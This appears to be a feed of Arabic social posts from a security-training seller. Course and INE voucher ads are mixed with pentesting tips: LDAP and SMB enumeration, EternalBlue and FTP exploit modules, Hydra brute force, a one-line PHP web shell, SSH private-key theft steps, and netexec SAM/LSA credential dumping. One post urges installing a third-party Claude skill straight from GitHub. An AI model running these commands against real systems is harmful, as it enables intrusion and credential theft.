Red Nexus

🔥 اقوي خصومات حصرية من Red Nexus على اشتراكات وشهادات INE! 🔥 👇🏻اثبت مهاراتك و طور رحلتك بمعايير دوليه ! 🎯 العرض الأول | INE Certification of Your Choice تقدر تختار شهاده تمتحنها زي : eJPT, eCPPT, eWAPTx, eCDFP, eCTHP, eSOC, eCIR 💰 السعر: $169 فقط (جميع التفعيلات فورية في نفس اليوم) 🎯العرض الثاني | Full INE Subscription + Certification ✅ اشتراك INE كامل لمدة 12 شهر. ✅ وصول إلى جميع محتويات INE التدريبية طوال فترة الاشتراك. ✅ شهادة INE واحدة من اختيارك. 💰 السعر: $399 فقط - (جميع التفعيلات فورية في نفس اليوم ) 🌐 اكتشف عروضنا وتفاصيل أكتر من خلال موقعنا: https://legacy.rednexus.academy/offers 📩 للاستفسار عن التفاصيل والحجز، تواصل مع Red Nexus علي واتساب 01003425890 .

بعد طول انتظار، الحمد لله تم إطلاق منصة Red Nexus Academy بشكلها الجديد. أول دورة متاحة الآن: Mobile Application Penetration Testing 🔹 74محاضرة فيديو لاكثر من 30 ساعة 🔹 +100 لاب عملي مدمج مع الدورة 🔹 من الصفر لمستوى Bug Bounty و eMAPT 🔹 الأولى من نوعها باللغة العربية تقدر تشاهد محاضرة المقدمة وتسجّل مباشرة من هنا: https://rednexus.academy/ar/our-courses/mobile-application-penetration-testing 🔥 خصم 50% لمدة أسبوع فقط متاح الدفع عن طريق فودافون كاش، إنستاباي، أو تحويل بنكي. للاشتراك: تواصل معانا على WhatsApp بعد التسجيل.

في ذكرى انتصار السادس من أكتوبر المجيد، يتقدم فريق Red Nexus بأصدق التهاني للشعب المصري العظيم ولكل أبطال قواتنا المسلحة. روح العبور التي كُتبت بالتخطيط والإصرار هي نفس الروح اللي بنؤمن بيها: إن الإرادة والعلم يصنعان المستحيل. كل سنة ومصر في عزّ وأمان 🇪🇬 #أكتوبر_المجيد #نصر_أكتوبر #RedNexus

خلال أيام قليلة… Red Nexus هتظهر بشكل جديد تماماً. أول دورة هتكون متاحة مباشرة على المنصة الجديدة الأولى من نوعها في الوطن العربي. +70 محاضرة. +100 لاب عملي. من الصفر لمستوى Bug Bounty. تتوقع الدورة الأولى هتكون في إيه؟ 👇

يمكنكم متابعتنا عن طريق الموقع الرسمي الخاص بنا - وقريبا سيتم الاعلان عن الموقع الجديد متضمن دورة Mobile Application Penetration Testing https://legacy.rednexus.academy/community يمكنك الانضمام لواتساب - تليجرام - يوتيوب - فيسبوك - تويتر

متبقي 3 ايام علي انتهاء التخفيض - متنساش تسأل علي عروض INE مع Red Nexus خصم 50% علي جميع الدورات لفترة محدودة! 🎯 الكورسات تشمل: * Red Teaming * CRTP * Advanced Bug Bounty Secrets * OSCP 2025 * eJPTv2 * Bash Scripting * AI Red Team أنضم لاكتر من 25 الف طالب - ♾️ وصول مدى الحياة + جميع التحديثات + جميع الابات المدمجة مع الدورات + متابعة ودعم مدي الحياة 📩 للحصول على الخصم: واتساب: https://wa.me/201003425890 أو من موقعنا بشكل مباشر للوصول ليودمي: https://legacy.rednexus.academy/courses ⚠️ مهم: لازم تكون عامل *تسجيل دخول على Udemy* عشان تقدر تستفيد من الخصم. اسأل ايضا عن خصومات INE و Comptia

في Skill تابعه ل Claude تبع APK Reverse engineering بأختصار بتحلل تطبيقات الموبايل وتعمل ليها هندسة عكسية - بتحدد طريقة عمل البرنامج وبالتالي تكتشف الثغرات اللي فيها بسهوله - لو حضرتك شغال في Mobile application penetration testing هيكون مناسب ليك جدا - هيسهل حجات كتير جدا عليك وطبعا ده كله تم مناقشته بتعمق في دورة Mobile application penetration testing اللي هيتم الاعلان عنها خلال الاسبوع القدام ممكن حضرتك تخش تشوف Repo وتحاول تستخدمه وتتدرب عليه : https://github.com/newliver666/apk-reverse كل اللي عليك هتعمله :

git clone https://github.com/newliver666/apk-reverse /tmp/apk-reverse
cp -r /tmp/apk-reverse/skills/apk-reverse ~/.claude/skills/apk-reverse

#rednexus #bugbounty #mobile_application #redteam

تم تحديث سعر اشتراكات INE الاشتراك الكامل (وصول لجميع لابات ودورات INE بالكامل لمدة عام كامل + Voucher لشهادة من اختيارك) والتفعيل فوري في نفس اليوم - 399$ مع امكانية التقسيط + 50% خصم علي جميع دورات Red Nexus طول مدة الاشتراك مع امكانية اضافة فاوتشر اضافية فقط 145$ ومتاح تقسيط المبلغ ايضا الشهادة المنفردة بدون لابات مع محاولتين اختبار 169$ هذه الاسعار نهائية بدون رسوم اضافية + مع امكانية الدفع الجنية المصري او الريال السعودي او الدينار العراقي او الاردني بدون رسوم اضافية سيتم تعويض اي احد اشتري بماهو اغلي من ذلك بما يناسب يمكنكم التواصل مباشر معنا - wa.me/+201003425890 او الاشتراك من الموقع الرسمي https://legacy.rednexus.academy/offers #rednexus #bugbounty #ine #subscription #offer #discound

واحده من اضخم Methodologies اللي ممكن تشوفها في حياتك تم تحضيرها كحسام - لما كنت بحضر لشهادة CAPE نتمني لكم الاستفادة : https://chambray-onion-9d4.notion.site/CAPE-20ae624afb478060bb8dc962bfa0926d #rednexus #crtp #cape #activedirectory

بروتوكول LDAP والبورت المشهور 389/636 هو المسؤول عن ترتيب وهيكلة العناصر والبحث والتعارف في أنظمة Active directory وهناك بعض الثغرات التي يمكن استغلالها من خلاله 1- Reconnaissance: Anonymous & Null Binds ldapsearch -x -H ldap://10.10.10.5 -b "" -s base namingContexts 2- Pull all user objects anonymously

ldapsearch -x -H ldap://10.10.10.5 -b "DC=corp,DC=local" "(objectClass=user)" \
  sAMAccountName description memberOf userAccountControl

3- Authenticated Enumeration (Any Domain User) ldapsearch -x -H ldap://10.129.232.128 -b "DC=rednexus,DC=academy" "(objectClass=user)" | grep sAMAccountName: | cut -f2 -d" " لو عندك اي معلومه ممكن تحطها في التعليقات - الكل يستفيد : ⬇️ #rednexus #ftp #lpe #redteam #bugbounty #hackerone #portscan #bugcrowd

استغل كل الموارد المتاحة لان وارد بكره متكونش متاحة (صحة - فلوس - وقت - راحة بال - امان ) مع Red Nexus خصم 50% علي جميع الدورات لفترة محدودة! 🎯 الكورسات تشمل: * Red Teaming * CRTP * Advanced Bug Bounty Secrets * OSCP 2025 * eJPTv2 * Bash Scripting * AI Red Team أنضم لاكتر من 25 الف طالب - ♾️ وصول مدى الحياة + جميع التحديثات + جميع الابات المدمجة مع الدورات + متابعة ودعم مدي الحياة 📩 للحصول على الخصم: واتساب: https://wa.me/201003425890 أو من موقعنا بشكل مباشر للوصول ليودمي: https://legacy.rednexus.academy/courses ⚠️ مهم: لازم تكون عامل *تسجيل دخول على Udemy* عشان تقدر تستفيد من الخصم. اسأل ايضا عن خصومات INE و Comptia

اداه bloodhound هي اهم الأدوات المستخدمة لتجميع المعلومات داخل أنظمة Active directory بتقوم بتجميع كل المعلومات الممكنة عن كل العناصر المتواجدة داخل النظام - منها users , groups , permissions ,devices , domain controllers لذلك اتقانها شيء ضروري جدا طالما كنت تدرس Active directory penetration testing ولكن العيب الوحيد انها مكشوفة لأنظمة المراقبة (EDR) الأداة مزدوجة - معها المجمع الخاص بها اسمه sharphound واداه العرض bloodhound هنبدا نتكلم عن المشاكل والصلاحيات الخطأ داخل الأنظمة وكيفية استغلالها رايتب كامل علي bloodhound ممكن تجرب تستخدمها ولو عايز ملف تجرب عليه وتفهم منه التفاصيل كامله https://blog.rednexus.academy/writeups/bloodhound-1.html ملف : https://raw.githubusercontent.com/ring0shady/writeups/refs/heads/main/bloodhound_data.zip هنبدأ نتكلم عن صلاحيات الملف كامله لو عندك أي معلومة ممكن تحطها في التعليقات - الكل يستفيد : ⬇️ #rednexus #ftp #lpe #redteam #bugbounty #hackerone #portscan #bugcrowd

لو حضرتك معاك Claude Max او Claude Pro ممكن تحصل علي 250$ credits عن طريق 1- https://claude.ai/code 2- type : /claim-credit

منفذ 445 الأهم في انظمه Active directory لأنه بوابة الدخول في معظم الأوقات ويمثل خدمة SMB وفيه شويه مشاكل ممكن نستغلها 1- Get more information about the system: enum4linux-ng -A TARGET 2- تحاول تخش علي السيرفر بدون باسورد (-N) smbclient -L //TARGET/ -N 3- نحاول نخش عن طريق - username: guest netexec smb TARGET -u 'guest' -p 'guest' --shares 4- نحاول نحصل علي معلومات Domain من خلال rpcclient rpcclient -U "" -N TARGET محاولة استغلال ثغرة شهيرة اسمها - EternalBlue (MS17-010):

msfconsole
use exploit/windows/smb/ms17_010_eternalblue

استخدام اداه Netexec وهي احدي اهم أدوات السيكيورتي ممكن نستخدم

netexec smb TARGETS -u user -p pass
netexec smb TARGETS -u user -p pass —shares 
netexec smb TARGET -u user -p pass -x "whoami"
netexec smb TARGET -u admin -p pass --sam --lsa

لو عندك أي معلومة ممكن تحطها في التعليقات - الكل يستفيد : ⬇️ #rednexus #ftp #lpe #redteam #bugbounty #hackerone #portscan #bugcrowd

من المزايا فعلا لاي حد بيشتري شهادة مخفضة أو اشتراك INE من خلالنا هو community اللي حضرتك هتخش فيه اكتر من 300 شخص موجودين بيساعدوا بعض وكلهم certified دائما بص للمكان اللي هتبقي متواجد فيه و هتستفاد منه مش مجرد حاجه بنعملها وخلاص العلاقات والمعارف اهم حاجه حاليا لشراء شهادات او اشتراكات INE wa.me/+201003425890

منفذ -(بورت) 21 من اكتر المنافذ اللي بنشوفها مفتوحة في السيرفرات - وفيها اكتر من استغلال ممكن نعملهم 1- تسجل دخول عن طريق anonymous credentials

ftp 10.10.10.1
username: anonymous 
password: anonymous

2- تعمل bruteforce علي اليوزر والباسورد hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://TARGET -t 4 3- في اصدار في مشاكل كتير هو proftpd منهم استغلال في metasploit use exploit/unix/ftp/proftpd_modcopy_exec او الاصدار vsftpd 2.3.4 use exploit/unix/ftp/vsftpd_234_backdoor بعد الدخول في اكتر من شئ ممكن يتعمل منهم 1- نرفع ملف ونفتحه من الويب (File upload lead to RCE)

- create file.php and put content: <?php system($_GET['cmd']); ?>
> put file.php 
browse https://website.com/file.php?cmd=whoami

2- نسرق مفاتيح .ssh الموجوده في cd /home/user/.ssh

> cd /home/user/.ssh/
> get id_rsa 
> get authorized_keys 
> get known_hosts 

# chmod 600 id_rsa
# ssh -i id_rsa user@TARGET

لو عندك اي معلومه ممكن تحطها في التعليقات - الكل يستفيد : ⬇️ #rednexus #ftp #lpe #redteam #bugbounty #hackerone #portscan #

من مراحل الاختراق المهمه جدا في اي تراك من السيكيورتي عملية تجميع المعلومات واهمها Port Scanning دا بيتم عن طريق اكتر من اداه وافضلهم - Nmap - Masscan nmap -sS -T4 -Pn -p- --min-rate=10000 192.168.202.1 الامر يعتبر الاسرع والاكفأ ولكن في جزء منسي دايما ان لازم تفحص UDP ايضا nmap -sS -T4 -Pn -p- -sU --min-rate=10000 192.168.162.1 وفي اداه اسرع من ده كله اسمها Masscan استخدامها ايضا

masscan -p1-65535 192.168.1.1 --rate 10000

وومكن نستخدمها مع اكتر من target في نفس الوقت :

masscan -p1-65535 10.10.10.0/24 --rate 10000

#rednexus #portscan #bugbounty #hackerone #redteam

🇸🇦 يتقدّم فريق Red Nexus بأخلص التهاني وأصدق التبريكات إلى المملكة العربية السعودية قيادةً وشعبًا، بمناسبة اليوم الوطني السادس والتسعين. ستة وتسعون عامًا من البناء والعطاء — وهذا الوطن لم ولن يتوقف. دامت المملكة عزيزةً منيعة، ودام شعبها في رفعةٍ وأمان. #اليوم_الوطني_السعودي #السعودية96 #RedNexus

لو حضرتك شغال في bug bounty سواء ويب او موبايل - ضروري جدا تقرا writeups كتير علشان تتعرف علي سيناريوهات اضافيه - لازم تتعلم بشكل اضافي متكتفيش باستخدام AI لان الفتره الجايه اللي هيلاقي ثغرات بسبب معمعه AI اللي شغاله -اللي هيعرف سيناريوهات اكتر هو اللي هيعرف يلاقي ثغرات وبالتالي ارشحلك تحاول تقرا اكتر سيناريوهات تبع ناس - وبرضو تدرب AI agent بتاعك ليه لا في كذا موقع ممكن يساعدك : https://bugbountydaily.com/ https://medium.com/ https://infosecwriteups.com/all?gi=8df708baa218&topic=bug-bounty بعد ماتذاكر السيناريو - درب AI بتاعك علي نفس السيناريو ودا بيقوي القدرة علي البحث عن الثغرات وبالتوفيق للجميع